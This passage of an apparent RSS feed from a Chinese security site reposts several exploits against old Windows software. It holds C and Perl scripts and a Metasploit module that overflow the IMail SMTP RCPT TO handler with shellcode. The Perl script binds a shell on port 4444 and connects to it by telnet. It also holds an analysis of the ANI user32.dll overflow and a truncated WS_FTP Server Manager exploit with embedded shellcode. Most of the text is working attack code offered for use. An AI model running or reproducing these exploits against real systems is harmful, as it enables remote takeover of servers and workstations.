WSACleanup( );<br/> return -1;<br/> }<br/> printf( &#34;%s\n&#34;, recv_buf );<br/><br/> /* send hello */<br/> ret = send( sock, HELO, strlen(HELO), 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Send error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/><br/> /* recv */<br/> memset( recv_buf, 0, 512 );<br/> ret = recv( sock, recv_buf, 512, 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Recv error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/> printf( &#34;%s\n&#34;, recv_buf );<br/> <br/> /* send from */<br/> ret = send( sock, FROM, strlen(FROM), 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Send error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/><br/> /* recv */<br/> memset( recv_buf, 0, 512 );<br/> ret = recv( sock, recv_buf, 512, 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Recv error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/> printf( &#34;%s\n&#34;, recv_buf );<br/><br/> char send_buf[1024] = { 0 };<br/> char *ret_addr = &#34;\xe1\x1e\xfa\x7f&#34;;<br/><br/> /* | 548 | */<br/> /* RCPT TO &lt;@:|x90.....shellcode|ret| */<br/> strcat( send_buf, &#34;RCPT TO &lt;@:&#34; );<br/> for( int index = 1; index &lt;= 548 - strlen((char *)shellcode); index ++ )<br/> {<br/> strcat( send_buf, &#34;\x90&#34; );<br/> }<br/> strcat( send_buf, (char *)shellcode );<br/> strcat( send_buf, ret_addr );<br/> strcat( send_buf, &#34;&gt;\r\n\r\n&#34; );<br/><br/> /* send shellcode */<br/> ret = send( sock, send_buf, strlen(send_buf), 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Send error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/> printf( &#34;Send exploit %d bytes,check your listing port,good luck!\n&#34;, ret );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return 0;<br/>}<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/213.htm</link>
			<title><![CDATA[Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow E]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Thu,12 Apr 2007 20:45:22 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=213</guid>
		<description><![CDATA[信息来源：邪恶八进制[code]##<br/># This file is part of the Metasploit Framework and may be redistributed<br/># according to the licenses defined in the Authors field below. In the<br/># case of an unknown o&#114; missing license, this file defaults to the same<br/># license as the core Framework (dual GPLv2 and Artistic). The latest<br/># version of the Framework can always be obtained from metasploit.com.<br/>##<br/><br/>package Msf::Exploit::imail_smtp_rcpt_overflow;<br/>use base &#34;Msf::Exploit&#34;;<br/>use strict;<br/>use Pex::Text;<br/>my $advanced = { };<br/><br/>my $info = {<br/>&#39;Name&#39; =&gt; &#39;IMail 2006 and 8.x SMTP Stack Overflow Exploit&#39;,<br/>&#39;Version&#39; =&gt; &#39;$Revision: 1.0 $&#39;,<br/>&#39;Authors&#39; =&gt; [ &#39;Jacopo Cervini &lt;acaro [at] jervus.it&gt;&#39;, ],<br/>&#39;Arch&#39; =&gt; [ &#39;x86&#39; ],<br/>&#39;OS&#39; =&gt; [ &#39;win32&#39;, &#39;winnt&#39;, &#39;win2000&#39;, &#39;winxp&#39;, &#39;win2003&#39;],<br/>&#39;Priv&#39; =&gt; 1,<br/><br/>&#39;UserOpts&#39; =&gt;<br/>{<br/>&#39;RHOST&#39; =&gt; [1, &#39;ADDR&#39;, &#39;The target address&#39;],<br/>&#39;RPORT&#39; =&gt; [1, &#39;PORT&#39;, &#39;The target port&#39;, 25],<br/>&#39;Encoder&#39; =&gt; [1, &#39;EncodedPayload&#39;, &#39;Use Pex!!&#39;],<br/><br/><br/>},<br/><br/>&#39;AutoOpts&#39; =&gt; { &#39;EXITFUNC&#39; =&gt; &#39;seh&#39; },<br/>&#39;Payload&#39; =&gt;<br/>{<br/>&#39;Space&#39; =&gt; 400,<br/>&#39;BadChars&#39; =&gt; &#34;\x00\x0d\x0a\x20\x3e\x22\x40&#34;,<br/>&#39;Keys&#39; =&gt; [&#39;+ws2ord&#39;],<br/><br/><br/>},<br/><br/>&#39;Description&#39; =&gt; Pex::Text::Freeform(qq{<br/>This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.<br/>If we send a long strings for RCPT TO command contained within the characters &#39;@&#39; and &#39;:&#39;<br/>we can overwrite the eip register and exploit the vulnerable smpt service<br/>}),<br/><br/>&#39;Refs&#39; =&gt;<br/>[<br/>[&#39;BID&#39;, &#39;19885&#39;],<br/>[&#39;CVE&#39;, &#39;2006-4379&#39;],<br/>[&#39;URL&#39;, &#39;<a href="http://www.zerodayinitiative.com/advisories/ZDI-06-028.html" target="_blank" rel="external">http://www.zerodayinitiative.com/advisories/ZDI-06-028.html</a>&#39;],<br/>],<br/><br/>&#39;Targets&#39; =&gt;<br/>[<br/><br/>[&#39;Universal IMail 8.10&#39;,0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10<br/>[&#39;Universal IMail 8.12&#39;,0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12<br/><br/>],<br/><br/>&#39;DefaultTarget&#39; =&gt; 0,<br/><br/>&#39;Keys&#39; =&gt; [&#39;smtp&#39;],<br/><br/>&#39;DisclosureDate&#39; =&gt; &#39;September 7 2006&#39;,<br/>};<br/><br/>sub new {<br/>my $class = shift;<br/>my $self = $class-&gt;SUPER::new({&#39;Info&#39; =&gt; $info, &#39;Advanced&#39; =&gt; $advanced}, @_);<br/><br/>return($self);<br/>}<br/><br/>sub Exploit {<br/>my $self = shift;<br/>my $target_host = $self-&gt;GetVar(&#39;RHOST&#39;);<br/>my $target_port = $self-&gt;GetVar(&#39;RPORT&#39;);<br/>my $target_idx = $self-&gt;GetVar(&#39;TARGET&#39;);<br/>my $shellcode = $self-&gt;GetVar(&#39;EncodedPayload&#39;)-&gt;Payload;<br/><br/>my $target = $self-&gt;Targets-&gt;[$target_idx];<br/><br/>my $ehlo = &#34;EHLO &#34; . &#34;\r\n&#34;;<br/><br/>my $mail_from = &#34;MAIL FROM:&#34; . &#34;\x20&#34; . &#34;\x3c&#34;.&#34;acaro&#34;. &#34;\x40&#34;.&#34;jervus.it&#34; . &#34;\x3e&#34; . &#34;\r\n&#34;;<br/><br/>my $pattern = &#34;\x20\x3c\x40&#34;;<br/>$pattern .= pack(&#39;V&#39;, $target-&gt;[1]);<br/>$pattern .=&#34;\x3a&#34; . $self-&gt;MakeNops((0x1e8-length ($shellcode)));<br/>$pattern .= $shellcode;<br/>$pattern .= &#34;\x4a\x61\x63\x3e&#34;;<br/><br/>my $request = &#34;RCPT TO: &#34; . $pattern .&#34;\n&#34;;<br/><br/>$self-&gt;PrintLine(sprintf (&#34;<li> Trying &#34;.$target-&gt;</li>[0].&#34; using pop eax, ret at 0x%.8x...&#34;, $target-&gt;[1]));<br/><br/>my $s = Msf::Socket::Tcp-&gt;new<br/>(<br/>&#39;PeerAddr&#39; =&gt; $target_host,<br/>&#39;PeerPort&#39; =&gt; $target_port,<br/>&#39;LocalPort&#39; =&gt; $self-&gt;GetVar(&#39;CPORT&#39;),<br/>&#39;SSL&#39; =&gt; $self-&gt;GetVar(&#39;SSL&#39;),<br/>);<br/><br/>if ($s-&gt;IsError) {<br/>$self-&gt;PrintLine(&#39;<li> Error creating socket: &#39; . $s-&gt;GetError);<br/>return;<br/>}<br/>my $r = $s-&gt;Recv(-1, 5);<br/><br/>$s-&gt;Send($ehlo);<br/>$self-&gt;PrintLine(&#34;</li><li> I&#39;m sending ehlo command&#34;);<br/>$self-&gt;PrintLine(&#34;</li><li> $r&#34;);<br/>sleep(2);<br/><br/>$s-&gt;Send($mail_from);<br/>$self-&gt;PrintLine(&#34;</li><li> I&#39;m sending mail from command&#34;);<br/>$r = $s-&gt;Recv(-1, 10);<br/>$self-&gt;PrintLine(&#34;</li><li> $r&#34;);<br/>sleep(2);<br/><br/>$s-&gt;Send($request);<br/>$self-&gt;PrintLine(&#34;</li><li> I&#39;m sending rcpt to command&#34;);<br/>sleep(2);<br/><br/>return;<br/>}</li>[code] <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/212.htm</link>
			<title><![CDATA[Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow E]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Thu,12 Apr 2007 20:44:51 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=212</guid>
		<description><![CDATA[信息来源：邪恶八进制<br/>#!/usr/bin/perl<br/># <a target="_blank" href="http://www.zerodayinitiative.com/advisories/ZDI-06-028.html" rel="external">http://www.zerodayinitiative.com/advisories/ZDI-06-028.html</a><br/># <a target="_blank" href="http://www.securityfocus.com/bid/19885" rel="external">http://www.securityfocus.com/bid/19885</a><br/>#<br/># acaro [at] jervus.it<br/><br/>use IO::Socket::INET;<br/>use Switch;<br/><br/>if (@ARGV &lt; 3) {<br/>print &#34;--------------------------------------------------------------------\n&#34;;<br/>print &#34;Usage : Imail-rcpt-overflow.pl -hTargetIPAddress -oTargetReturnAddress\n&#34;;<br/>print &#34; Return address: \n&#34;;<br/>print &#34; o1 - IMail 8.12 Version\n&#34;;<br/>print &#34; o2 - IMail 8.10 Versio\n&#34;;<br/>print &#34; Example for IMail 8.12 Version: ./Imail-rcpt-overflow.pl -h127.0.0.1 -o1 \n&#34;;<br/>print &#34;--------------------------------------------------------------------\n&#34;;<br/>}<br/><br/>use IO::Socket::INET;<br/><br/>my $host = 10.0.0.2;<br/>my $port = 25;<br/>my $reply;<br/>my $request;<br/>my $happystack=&#34;\x81\xc4\xff\xef\xff\xff\x44&#34;;<br/><br/>foreach (@ARGV) {<br/>$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);<br/>$eip = $1 if ($_=~/-o(.*)/);<br/>}<br/><br/>switch ($eip) {<br/>case 1 { $eip=&#34;\xc4\x91\x01\x10&#34; } # pop eax ret in SmtpDLL.dll for IMail 8.12<br/>case 2 { $eip=&#34;\xc3\x88\x01\x10&#34; } # pop eax ret in SmtpDLL.dll for IMail 8.10<br/>}<br/><br/># win32_bind - EXITFUNC=seh LPORT=4444<br/><br/>my $shellcode = &#34;\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x93&#34;.<br/>&#34;\x7b\xbd\x36\x83\xee\xfc\xe2\xf4\x6f\x11\x56\x7b\x7b\x82\x42\xc9&#34;.<br/>&#34;\x6c\x1b\x36\x5a\xb7\x5f\x36\x73\xaf\xf0\xc1\x33\xeb\x7a\x52\xbd&#34;.<br/>&#34;\xdc\x63\x36\x69\xb3\x7a\x56\x7f\x18\x4f\x36\x37\x7d\x4a\x7d\xaf&#34;.<br/>&#34;\x3f\xff\x7d\x42\x94\xba\x77\x3b\x92\xb9\x56\xc2\xa8\x2f\x99\x1e&#34;.<br/>&#34;\xe6\x9e\x36\x69\xb7\x7a\x56\x50\x18\x77\xf6\xbd\xcc\x67\xbc\xdd&#34;.<br/>&#34;\x90\x57\x36\xbf\xff\x5f\xa1\x57\x50\x4a\x66\x52\x18\x38\x8d\xbd&#34;.<br/>&#34;\xd3\x77\x36\x46\x8f\xd6\x36\x76\x9b\x25\xd5\xb8\xdd\x75\x51\x66&#34;.<br/>&#34;\x6c\xad\xdb\x65\xf5\x13\x8e\x04\xfb\x0c\xce\x04\xcc\x2f\x42\xe6&#34;.<br/>&#34;\xfb\xb0\x50\xca\xa8\x2b\x42\xe0\xcc\xf2\x58\x50\x12\x96\xb5\x34&#34;.<br/>&#34;\xc6\x11\xbf\xc9\x43\x13\x64\x3f\x66\xd6\xea\xc9\x45\x28\xee\x65&#34;.<br/>&#34;\xc0\x28\xfe\x65\xd0\x28\x42\xe6\xf5\x13\xac\x6a\xf5\x28\x34\xd7&#34;.<br/>&#34;\x06\x13\x19\x2c\xe3\xbc\xea\xc9\x45\x11\xad\x67\xc6\x84\x6d\x5e&#34;.<br/>&#34;\x37\xd6\x93\xdf\xc4\x84\x6b\x65\xc6\x84\x6d\x5e\x76\x32\x3b\x7f&#34;.<br/>&#34;\xc4\x84\x6b\x66\xc7\x2f\xe8\xc9\x43\xe8\xd5\xd1\xea\xbd\xc4\x61&#34;.<br/>&#34;\x6c\xad\xe8\xc9\x43\x1d\xd7\x52\xf5\x13\xde\x5b\x1a\x9e\xd7\x66&#34;.<br/>&#34;\xca\x52\x71\xbf\x74\x11\xf9\xbf\x71\x4a\x7d\xc5\x39\x85\xff\x1b&#34;.<br/>&#34;\x6d\x39\x91\xa5\x1e\x01\x85\x9d\x38\xd0\xd5\x44\x6d\xc8\xab\xc9&#34;.<br/>&#34;\xe6\x3f\x42\xe0\xc8\x2c\xef\x67\xc2\x2a\xd7\x37\xc2\x2a\xe8\x67&#34;.<br/>&#34;\x6c\xab\xd5\x9b\x4a\x7e\x73\x65\x6c\xad\xd7\xc9\x6c\x4c\x42\xe6&#34;.<br/>&#34;\x18\x2c\x41\xb5\x57\x1f\x42\xe0\xc1\x84\x6d\x5e\x63\xf1\xb9\x69&#34;.<br/>&#34;\xc0\x84\x6b\xc9\x43\x7b\xbd\x36&#34;;<br/><br/>my $nop=&#34;\x41&#34;x137;<br/><br/>my $buffer = &#34;RCPT TO:&#34;.&#34;\x20\x3c\x40&#34;.$eip . &#34;\x3a&#34; .$nop.$happystack.$shellcode.&#34;\x4a\x61\x63\x3e&#34;.&#34;\n&#34;;<br/><br/>my $socket = IO::Socket::INET-&gt;new(proto=&gt;&#39;tcp&#39;, PeerAddr=&gt;$host, PeerPort=&gt;$port);<br/>$socket o&#114; die &#34;Cannot connect to host!\n&#34;;<br/><br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/>$request = &#34;EHLO &#34; . &#34;\r\n&#34;;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent EHLO\n&#34;;<br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/>$request = &#34;MAIL FROM:&#34; . &#34;\x20&#34; . &#34;\x3c&#34;.&#34;acaro&#34;. &#34;\x40&#34;.&#34;jervus.it&#34; . &#34;\x3e&#34; . &#34;\r\n&#34;;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent MAIL FROM\n&#34;;<br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/>$request = $buffer;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent malicius request\n&#34;;<br/>close $socket;<br/><br/>print &#34; + connect on port 4444 of $host ...\n&#34;;<br/>sleep(3);<br/>system(&#34;telnet $host 4444&#34;);<br/>exit;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/168.htm</link>
			<title><![CDATA[源代碼加密與還原 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Thu,12 Apr 2007 19:22:34 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=168</guid>
		<description><![CDATA[<a href="http://www.jd100.net/ip/htmlcode.htm" target="_blank" rel="external">http://www.jd100.net/ip/htmlcode.htm</a>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/135.htm</link>
			<title><![CDATA[关于ani 0day的简单分析]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 23:23:46 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=135</guid>
		<description><![CDATA[来源：Ph4nt0m Security Team<br/><br/>by axis<br/>2007-03-28<br/><br/>本来没精力跟这个漏洞了，但是今天听swan在irc里说网上的exp利用方式不够好，只覆盖了2个字节，于是下午利用了一点空闲时间跟了一下。<br/><br/>在我的xp sp2 cn上，全补丁，漏洞发生在以下地方<br/>77D53A5A 8BFF MOV EDI,EDI<br/>77D53A5C 55 PUSH EBP<br/>77D53A5D 8BEC MOV EBP,ESP<br/>77D53A5F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]<br/>77D53A62 8B55 10 MOV EDX,DWORD PTR SS:[EBP+10] ; 可以控制的长度<br/>77D53A65 56 PUSH ESI<br/>77D53A66 8B70 04 MOV ESI,DWORD PTR DS:[EAX+4]<br/>77D53A69 8D0C16 LEA ECX,DWORD PTR DS:[ESI+EDX]<br/>77D53A6C 3BCE CMP ECX,ESI<br/>77D53A6E 72 28 JB SHORT USER32.77D53A98<br/>77D53A70 3BCA CMP ECX,EDX<br/>77D53A72 72 24 JB SHORT USER32.77D53A98<br/>77D53A74 3B48 08 CMP ECX,DWORD PTR DS:[EAX+8]<br/>77D53A77 77 1F JA SHORT USER32.77D53A98<br/>77D53A79 53 PUSH EBX<br/>77D53A7A 57 PUSH EDI<br/>77D53A7B 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ; 目标buf [ebp+3c]<br/>77D53A7E 8BCA MOV ECX,EDX ; 控制长度<br/>77D53A80 8BD9 MOV EBX,ECX<br/>77D53A82 C1E9 02 SHR ECX,2<br/>77D53A85 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 覆盖<br/><br/>拷贝发生在user32.dll中,注意这里<br/>77D53A7B 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ; 目标buf [ebp+3c]<br/>77D53A7E 8BCA MOV ECX,EDX ; 控制长度<br/>77D53A80 8BD9 MOV EBX,ECX<br/>77D53A82 C1E9 02 SHR ECX,2<br/>77D53A85 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 覆盖<br/><br/>edx控制我们拷贝的长度.<br/>edx由ani文件的0x54偏移处传入，但是由于后面有一些判断，所以要触发这个拷贝，edx不能太大。<br/><br/>在我的xp sp2 cn all hotfix上，edx = 0x50 正好覆盖了上层函数的ebp<br/><br/>由于是从[ebp+3c]开始覆盖的，所以无法在当前函数返回时控制，我们可以选择覆盖上层函数的返回地址。<br/><br/>由于公开的exp中只覆盖了user32.dll中的两个字节地址，这个不是很通用，所以swan会有前面那段话。<br/><br/>事实上，可以覆盖掉整个ebp，ebp+4，控制eip。<br/><br/>从codepage去找个中文的通用地址是很简单的。<br/><br/>而且这个dll没有/gs保护，所以利用起来很简单。<br/><br/>不同的平台，比如2000/2003上需要覆盖的字节可能不同。<br/><br/>但是这个漏洞只覆盖[ebp+4]处的2个字节，还是在user32.dll里,一般不会崩溃<br/><br/>但是如果把整个eip都覆盖了，如果平台差异引起了覆盖字节数不同，就会造成ie崩溃<br/><br/>想必这就是为什么公开的exp只覆盖2个字节，插入2个图片的原因(那两个图片的长度控制值不同，覆盖的2个字节也不同)<br/><br/>要查杀这个也很简单，各大AV只需要判断这个传入edx的长度是否超过了限制就可以了。 ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/134.htm</link>
			<title><![CDATA[Ipswitch WS_FTP 5.05 Server Manager Local Site Buf]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 23:20:50 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=134</guid>
		<description><![CDATA[/****************************************************************************<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>* There&#39;s a buffer overflow in iftpmgr.exe that can be triggered by&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>* registering a long site command. The result is then saved in the registry *<br/>* and every time the group is checked the bug appears.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*<br/>* This exploit launches calc.exe.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>* Tested against Win XP SP2 FR.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>* Have Fun!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br/>* Coded and discovered by Marsu &lt;Marsupilamipowa@hotmail.fr&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*<br/>****************************************************************************/<br/><br/>#include &#34;stdio.h&#34;<br/>#include &#34;stdlib.h&#34;<br/><br/>/* win32_exec -&nbsp;&nbsp;EXITFUNC=process CMD=calc.exe Size=165 Encoder=PexFnstenvSub <a href="http://metasploit.com" target="_blank" rel="external">http://metasploit.com</a> */<br/>unsigned char CalcShellcode[] =<br/>&#34;\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26&#34;<br/>&#34;\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6&#34;<br/>&#34;\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa&#34;<br/>&#34;\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee&#34;<br/>&#34;\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85&#34;<br/>&#34;\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7&#34;<br/>&#34;\x5C\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e&#34;<br/>&#34;\x68\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9&#34;<br/>&#34;\x8b\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea&#34;<br/>&#34;\x01\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57&#34;<br/>&#34;\x9b\x43\x45\x32\xe3&#34;;<br/><br/>int main(int argc, char* argv[])<br/>{<br/>&#160;&#160;&#160;&#160;FILE* regfile;<br/>&#160;&#160;&#160;&#160;char evilbuff[250];<br/><br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow\n&#34;);<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Coded and discovered by Marsu &lt;Marsupilamipowa@hotmail.fr&gt;\n&#34;);<br/>&#160;&#160;&#160;&#160;if (argc!=3) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Usage: %s &lt;Group&gt; &lt;file.reg&gt;\n&#34;,argv[0]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] ex:&nbsp;&nbsp;&nbsp;&nbsp;%s Marsu Pilami.reg\n&#34;,argv[0]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 0;<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;memset(evilbuff,&#39;C&#39;,250);<br/>&#160;&#160;&#160;&#160;memcpy(evilbuff+4,CalcShellcode,strlen(CalcShellcode));<br/>&#160;&#160;&#160;&#160;memcpy(evilbuff+202,&#34;\x46\xE4\xBD\x7C&#34;,4);&#160;&#160;&#160;&#160;/*00 50 00 00 in Shell32.dll. We need this to jump back to our shellcode 